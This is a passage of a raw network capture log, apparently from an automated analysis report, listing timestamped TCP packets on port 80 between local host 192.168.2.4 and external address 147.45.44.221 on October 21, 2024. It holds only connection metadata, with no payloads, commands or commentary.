Oct 21, 2024 08:47:30.469762087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469765902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469778061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469789028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469799995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469813108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469818115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469841957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469866037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469868898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469877958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469897032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469903946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469907045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469928980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469947100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469949007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469949007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469957113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.469988108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.469991922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470001936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470011950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470030069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470038891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470050097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470057011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470061064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470081091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470092058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470102072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470102072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470113993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470133066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470136881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470153093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470177889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470236063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470246077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470254898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470278978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470290899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470312119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470323086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470331907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470341921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470361948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470370054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470372915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470385075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470396042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470410109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470436096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470453024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470463991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470474958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470484972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470493078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470494986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470520020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470521927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470547915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470582962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470613956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470628977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470638037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470650911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470670938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470675945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470685959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470689058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470700979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470714092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470717907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470729113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470737934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470740080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470771074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470815897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470824957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470845938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470856905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470856905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470866919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470875025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470880985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470889091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470906973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470911980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470925093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470933914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470936060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470947027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.470949888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.470985889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471007109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471020937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471031904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471040964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471070051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471087933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471093893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471105099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471113920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471138000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471158028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471165895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471168995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471180916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471199989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471214056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471225023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471225977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471246004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471252918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471256018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471261978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471266031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471272945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471278906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471297026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471357107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471360922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471371889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471376896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471434116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471442938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471451998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471468925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471477985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471481085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471493006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471501112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471503973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471525908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471535921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471579075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471590042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471600056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471613884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471630096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471643925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471646070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471657038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471674919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471683025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471687078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471695900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471709013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471716881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471719980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471734047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471744061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471745968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471761942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471870899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471879959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471888065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471898079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471899033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471906900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471911907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471923113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.471932888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.471962929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.517685890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.517694950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.517704964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.517720938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.517731905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.517740011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.517741919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.517777920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.571479082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571489096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571494102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571547031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571563005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571574926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571585894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571597099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571607113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571618080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571662903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.571688890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571701050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571711063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571784019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571794987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.571809053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.571883917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587474108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587505102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587527037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587537050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587544918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587548971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587560892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587572098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587573051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587589979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587594986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587609053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587620020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587621927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587631941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587641954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587649107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587651968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587662935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587672949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587677002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587683916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587693930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587697029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587728977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587728977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587749004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587758064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587762117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587770939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587795973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587817907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587891102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587902069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587913036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.587940931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.587960958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588059902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588071108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588079929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588109970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588116884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588126898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588138103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588148117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588171959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588201046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588268042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588277102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588282108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588291883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588300943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588310957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588320017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588323116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588344097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588355064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588426113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588435888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588440895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588450909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588478088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588488102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.588944912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588975906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588989973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.588999033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589009047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589009047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589024067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589026928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589039087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589047909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589047909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589059114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589066982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589071035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589081049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589093924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589119911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589134932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589144945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589149952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589159012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589167118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589176893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589184046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589190006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589196920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589214087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589241982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589266062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589276075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589313030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589317083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589348078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589356899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589359999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589368105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589385033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589392900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589409113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589413881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589420080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589431047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589451075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589457035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589459896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589469910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589472055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589482069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589490891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589502096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589525938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589595079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589606047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589615107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589646101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589646101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589672089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589682102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589687109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589693069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589701891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589713097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589720964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589749098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589809895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589819908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589829922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589839935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589849949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589855909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589863062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589874029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589888096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589914083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.589946032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589956045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589966059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589978933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.589987993 CEST	49732	80	192.168.2.4	147.45.44.221
